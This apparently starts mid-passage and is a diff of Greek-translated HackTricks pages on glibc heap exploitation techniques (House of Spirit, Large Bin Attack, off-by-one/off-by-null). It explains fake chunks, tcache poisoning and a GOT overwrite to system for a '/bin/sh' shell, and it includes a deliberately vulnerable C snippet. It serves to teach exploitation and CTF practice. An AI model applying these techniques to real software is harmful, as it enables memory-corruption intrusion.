Εδώ είναι όπου απαιτείται να **υπολογίσουμε με brute force 12 bits τυχαιότητας** (περισσότερες πληροφορίες στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).

View file

@ -1,18 +1,19 @@
# Σπίτι του Πνεύματος
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -69,16 +70,16 @@ return 0;
### Στόχος
* Να είναι δυνατή η προσθήκη ενός διευθύνσεων στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή του
* Να είναι δυνατή η προσθήκη μιας διεύθυνσης στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή της
### Απαιτήσεις
* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα fast chunks που υποδεικνύουν σωστά την τιμή του μεγέθους του και στη συνέχεια να μπορεί να ελευθερώσει το πρώτο ψεύτικο chunk ώστε να μπει στο bin.
* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα γρήγορα τμήματα (fast chunks) που υποδεικνύουν σωστά την τιμή του μεγέθους τους και στη συνέχεια να μπορεί να ελευθερώσει το πρώτο ψεύτικο τμήμα ώστε να μπει στο bin.
### Επίθεση
* Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που υποδεικνύουν στις σωστές θέσεις τις σωστές τιμές μεγέθους
* Κάπως διαχειριστείτε να ελευθερώσετε το πρώτο ψεύτικο chunk ώστε να μπει στο γρήγορο ή tcache bin και στη συνέχεια να το εκχωρήσετε για να αντικαταστήσετε αυτή τη διεύθυνση
* Δημιουργήστε ψεύτικα τμήματα που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα τμήματα που υποδεικνύουν στις σωστές θέσεις τις σωστές τιμές μεγέθους
* Κάπως διαχειριστείτε να ελευθερώσετε το πρώτο ψεύτικο τμήμα ώστε να μπει στο γρήγορο ή tcache bin και στη συνέχεια να το εκχωρήσετε για να αντικαταστήσετε αυτήν τη διεύθυνση
**Ο κώδικας από τον** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Παρόλο που αυτό το σχήμα από τον κώδικα το περιλαμβάνει αρκετά καλά:
```c
@ -105,14 +106,14 @@ the important thing is the size values of the heap headers for our fake chunks
*/
```
{% hint style="info" %}
Σημειώστε ότι είναι απαραίτητο να δημιουργήσετε το δεύτερο κομμάτι για να παρακάμψετε μερικούς ελέγχους σωστής λειτουργίας.
Σημειώστε ότι είναι απαραίτητο να δημιουργήσετε το δεύτερο κομμάτι προκειμένου να παρακάμψετε μερικούς ελέγχους ακεραιότητας.
{% endhint %}
## Παραδείγματα
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Διαρροή πληροφοριών Libc**: Μέσω ενός υπερχείλισης είναι δυνατό να αλλάξετε ένα δείκτη ώστε να δείχνει σε μια διεύθυνση GOT για να διαρρεύσετε μια διεύθυνση Libc μέσω της ενέργειας ανάγνωσης του CTF
* **House of Spirit**: Καταχρώμενοι ένα μετρητή που μετρά τον αριθμό των "όπλων" είναι δυνατό να δημιουργήσετε μια ψεύτικη μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια καταχρώμενοι ένα "μήνυμα" είναι δυνατό να κάνετε ψεύτικο το δεύτερο μέγεθος ενός κομματιού και τελικά καταχρώμενοι μια υπερχείλιση είναι δυνατό να αλλάξετε ένα δείκτη που θα απελευθερωθεί έτσι ώστε το πρώτο ψεύτικο κομμάτι μας να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατό να κάνουμε αυτό να δείχνει στην είσοδο `scanf` μέσα στον πίνακα GOT, έτσι ώστε να το αντικαταστήσουμε με τη διεύθυνση προς το σύστημα.\
* **Διαρροή πληροφοριών Libc**: Μέσω ενός υπερχείλισης είναι δυνατή η αλλαγή ενός δείκτη ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση Libc μέσω της ενέργειας ανάγνωσης του CTF
* **House of Spirit**: Εκμεταλλευόμενοι ένα μετρητή που μετρά τον αριθμό των "ριφλετών" είναι δυνατόν να δημιουργηθεί μια ψεύτικη μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να ψεύτικο το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι ένα υπερχείλιση είναι δυνατόν να αλλάξετε ένα δείκτη που θα απελευθερωθεί έτσι ώστε το πρώτο ψεύτικο κομμάτι μας να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο `scanf` μέσα στον πίνακα GOT, έτσι ώστε να το αντικαταστήσουμε με τη διεύθυνση προς το σύστημα.\
Την επόμενη φορά που καλείται το `scanf`, μπορούμε να στείλουμε την είσοδο `"/bin/sh"` και να λάβουμε ένα κέλυφος.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
@ -123,16 +124,17 @@ the important thing is the size values of the heap headers for our fake chunks
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Επίθεση Large Bin
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -22,9 +23,9 @@
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Είναι δυνατόν να βρείτε ένα εξαιρετικό παράδειγμα στο [**how2heap - επίθεση μεγάλου bin**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
Είναι δυνατόν να βρείτε ένα εξαιρετικό παράδειγμα στο [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
Βασικά εδώ μπορείτε να δείτε πώς, στην τελευταία "τρέχουσα" έκδοση του glibc (2.35), δεν ελέγχεται: **`P->bk_nextsize`** επιτρέποντας την τροποποίηση μιας τυχαίας διεύθυνσης με την τιμή ενός κομματιού μεγάλου bin αν πληρούνται συγκεκριμένες συνθήκες.
Βασικά εδώ μπορείτε να δείτε πώς, στην τελευταία "τρέχουσα" έκδοση του glibc (2.35), δεν γίνεται έλεγχος: **`P->bk_nextsize`** επιτρέποντας την τροποποίηση μιας αυθαίρετης διεύθυνσης με την τιμή ενός κομματιού μεγάλου bin αν πληρούνται συγκεκριμένες συνθήκες.
Σε εκείνο το παράδειγμα μπορείτε να βρείτε τις ακόλουθες συνθήκες:
@ -38,7 +39,7 @@
* Στη συνέχεια, εκχωρείται ένα μεγαλύτερο κομμάτι από το κομμάτι 2, έτσι το κομμάτι2 εισάγεται στο μεγάλο bin αντικαθιστώντας τη διεύθυνση `chunk1->bk_nextsize->fd_nextsize` με τη διεύθυνση του κομματιού 2
{% hint style="success" %}
Υπάρχουν και άλλα πιθανά σενάρια, το θέμα είναι να προστεθεί στο μεγάλο bin ένα κομμάτι που είναι **μικρότερο** από ένα τρέχον X κομμάτι στο bin, έτσι ώστε να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου κομματιού.
Υπάρχουν και άλλα πιθανά σενάρια, το θέμα είναι να προστεθεί στο μεγάλο bin ένα κομμάτι που είναι **μικρότερο** από ένα τρέχον X κομμάτι στο bin, έτσι πρέπει να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου κομματιού.
{% endhint %}
Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για καλύτερη κατανόηση του πώς έγινε η αντικατάσταση της διεύθυνσης:
@ -59,7 +60,7 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
```
{% endcode %}
Αυτό μπορεί να χρησιμοποιηθεί για **να αντικαταστήσει την καθολική μεταβλητή `global_max_fast`** της libc για να εκμεταλλευτεί έπειτα μια επίθεση fast bin με μεγαλύτερα κομμάτια.
Αυτό μπορεί να χρησιμοποιηθεί για **να αντικαταστήσετε την καθολική μεταβλητή `global_max_fast`** της libc για να εκμεταλλευτείτε έπειτα μια επίθεση fast bin με μεγαλύτερα κομμάτια.
Μπορείτε να βρείτε μια άλλη εξαιρετική εξήγηση αυτής της επίθεσης στο [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
@ -70,16 +71,17 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
* Η γραφή primitive είναι πιο πολύπλοκη, επειδή η `global_max_fast` είναι άχρηστη εδώ.
* Απαιτείται FSOP για να ολοκληρωθεί η εκμετάλλευση.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Off by one overflow
# Υπερχείλιση ενός byte
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Έχοντας μόνο πρόσβαση σε ένα 1B υπερχείλιση επιτρέπει σε έναν εισβολέα να τροποποιήσει το πεδίο `size` από τον επόμενο κομμάτι. Αυτό επιτρέπει να παραποιήσει ποια κομμάτια πραγματικά απελευθερώνονται, πιθανώς δημιουργώντας ένα κομμάτι που περιέχει ένα άλλο νόμιμο κομμάτι. Η εκμετάλλευση είναι παρόμοια με το [διπλό free](double-free.md) ή την επικάλυψη κομματιών.
Έχοντας μόνο πρόσβαση σε μια υπερχείλιση 1 byte επιτρέπει σε έναν εισβολέα να τροποποιήσει το πεδίο `size` από το επόμενο κομμάτι. Αυτό επιτρέπει να παραβιαστούν τα κομμάτια που πραγματικά ελευθερώνονται, πιθανώς δημιουργώντας ένα κομμάτι που περιέχει ένα άλλο νόμιμο κομμάτι. Η εκμετάλλευση είναι παρόμοια με το [διπλό free](double-free.md) ή την επικάλυψη κομματιών.
Υπάρχουν 2 τύποι ευπάθειας off by one:
@ -24,11 +25,7 @@
* Μηδενικό byte (off-by-null): Αυτός ο τύπος επιτρέπει την αντικατάσταση αυτού του byte μόνο με 0x00
* Ένα κοινό παράδειγμα αυτής της ευπάθειας μπορεί να δει κανείς στον παρακάτω κώδικα όπου η συμπεριφορά των `strlen` και `strcpy` είναι ασυνεπής, η οποία επιτρέπει την τοποθέτηση ενός byte 0x00 στην αρχή του επόμενου κομματιού.
* Αυτό μπορεί να εκμεταλλευτεί με το [House of Einherjar](house-of-einherjar.md).
* Αν χρησιμοποιείτε Tcache, αυτό μπορεί να εκμεταλλευτεί σε μια κατάσταση [διπλού free](double-free.md).
<details>
<summary>Off-by-null</summary>
* Αν χρησιμοποιείτε Tcache, αυτό μπορεί να εκμεταλλευτεί σε μια κατάσταση [διπλού free](double-free.md).
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
@ -47,7 +44,7 @@ return 0;
```
</details>
Ανάμεσα σε άλλους ελέγχους, τώρα κάθε φορά που ένα κομμάτι είναι ελεύθερο, συγκρίνεται το προηγούμενο μέγεθος με το μέγεθος που έχει ρυθμιστεί στα μεταδεδομένα του κομματιού, κάνοντας αυτήν την επίθεση αρκετά περίπλοκη από την έκδοση 2.28.
Μεταξύ άλλων ελέγχων, τώρα κάθε φορά που ένα κομμάτι είναι ελεύθερο, συγκρίνεται το προηγούμενο μέγεθος με το μέγεθος που έχει ρυθμιστεί στα μεταδεδομένα του κομματιού, κάνοντας αυτήν την επίθεση αρκετά πολύπλοκη από την έκδοση 2.28.
### Παράδειγμα κώδικα:
@ -57,17 +54,17 @@ return 0;
### Στόχος
* Κάντε ένα κομμάτι να περιέχεται μέσα σε ένα άλλο κομμάτι, έτσι ώστε η εγγραφή πρόσβασης σε αυτό το δεύτερο κομμάτι να επιτρέπει τον αντικαταστάτη του περιεχόμενου.
* Κάντε ένα κομμάτι να περιέχεται μέσα σε ένα άλλο κομμάτι, έτσι ώστε η εγγραφή πρόσβασης σε αυτό το δεύτερο κομμάτι να επιτρέπει τον αντικατάσταση του περιεχόμενου του πρώτου
### Απαιτήσεις
* Υπερχείλιση ενός byte για να τροποποιήσετε τις πληροφορίες μεταδεδομένων μεγέθους
* Υπερχείλιση ενός byte για τροποποίηση των μεταδεδομένων μεγέθους
### Γενική επίθεση off-by-one
* Διατεθούν τρία κομμάτια `A`, `B` και `C` (π.χ. μεγέθη 0x20), και ένα άλλο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής.
* Διατείνονται τρία κομμάτια `A`, `B` και `C` (π.χ. μεγέθη 0x20), και ένα άλλο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής.
* Απελευθερώστε το `C` (εισαγμένο στη λίστα ελεύθερων Tcache 0x20).
* Χρησιμοποιήστε το κομμάτι `A` για υπερχείλιση στο `B`. Καταχραστείτε το off-by-one για να τροποποιήσετε το πεδίο `size` του `B` από 0x21 σε 0x41.
* Χρησιμοποιήστε το κομμάτι `A` για υπερχείλιση στο `B`. Κατάχρηση του off-by-one για να τροποποιήσετε το πεδίο `size` του `B` από 0x21 σε 0x41.
* Τώρα έχουμε το `B` που περιέχει το ελεύθερο κομμάτι `C`
* Απελευθερώστε το `B` και εκχωρήστε ένα κομμάτι 0x40 (θα τοποθετηθεί εδώ ξανά)
* Μπορούμε να τροποποιήσουμε το δείκτη `fd` από το `C`, το οποίο είναι ακόμα ελεύθερο (δηλητηρίαση Tcache)
@ -75,8 +72,8 @@ return 0;
### Επίθεση off-by-null
* Κρατούνται 3 κομμάτια μνήμης (a, b, c) το ένα μετά το άλλο. Στη συνέχεια το μεσαίο απελευθερώνεται. Το πρώτο περιέχει μια ευπάθεια υπερχείλισης ενός byte και ο επιτιθέμενος την καταχρηστεύεται με ένα 0x00 (αν το προηγούμενο byte ήταν 0x10 θα κάνει το μεσαίο κομμάτι να υποδεικνύει ότι είναι 0x10 μικρότερο από ό,τι πραγματικά είναι).
* Στη συνέχεια, δεσμεύονται 2 μικρότερα κομμάτια στο μεσαίο ελεύθερο κομμάτι (b), ωστόσο, καθώς το `b + b->size` δεν ενημερώνει ποτέ το κομμάτι c επειδή η διευθυνση προς την οποία δείχνει είναι μικρότερη από ό,τι θα έπρεπε.
* Στη συνέχεια, απελευθερώνονται τα b1 και c. Καθώς το `c - c->prev_size` εξακολουθεί να δείχνει στο b (τώρα b1), και τα δύο συγχωνεύονται σε ένα κομμάτι. Ωστόσο, το b2 παραμένει μέσα μεταξύ b1 και c.
* Στη συνέχεια, δεσμεύονται 2 μικρότερα κομμάτια στο μεσαίο ελεύθερο κομμάτι (b), ωστόσο, καθώς το `b + b->size` δεν ενημερώνει ποτέ το κομμάτι c επειδή η διευθυνση που δείχνεται είναι μικρότερη από ό,τι θα έπρεπε.
* Στη συνέχεια, απελευθερώνονται τα b1 και c. Καθώς το `c - c->prev_size` εξακολουθεί να δείχνει στο b (τώρα b1), και τα δύο συγχωνεύονται σε ένα κομμάτι. Ωστόσο, το b2 βρίσκεται ακόμα μέσα ανάμεσα στο b1 και το c.
* Τέλος, γίνεται μια νέα κλήση malloc ανακτώντας αυτήν την περιοχή μνήμης που πρόκειται να περιέχει το b2, επιτρέποντας στον κάτοχο της νέας κλήσης malloc να ελέγχει το περιεχόμενο του b2.
Αυτή η εικόνα εξηγεί τέλεια την επίθεση:
@ -90,10 +87,33 @@ return 0;
* Off-by-one λόγω της `strlen` που λαμβάνει υπόψη το πεδίο `size` του επόμενου κομματιού.
* Χρησιμοποιείται η Tcache, έτσι μια γενική επίθεση off-by-one λειτουργεί για να λάβει ένα αυθαίρετο γραπτό πρωτογενές με δηλητηρίαση Tcache.
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* Είναι δυνατό να καταχραστείτε ένα off by one για να διαρρεύσετε μια διεύθυνση από τη στοίβα επειδή το byte 0x00 στο τέλος ενός string αντικαθίσταται από το επόμενο πεδίο.
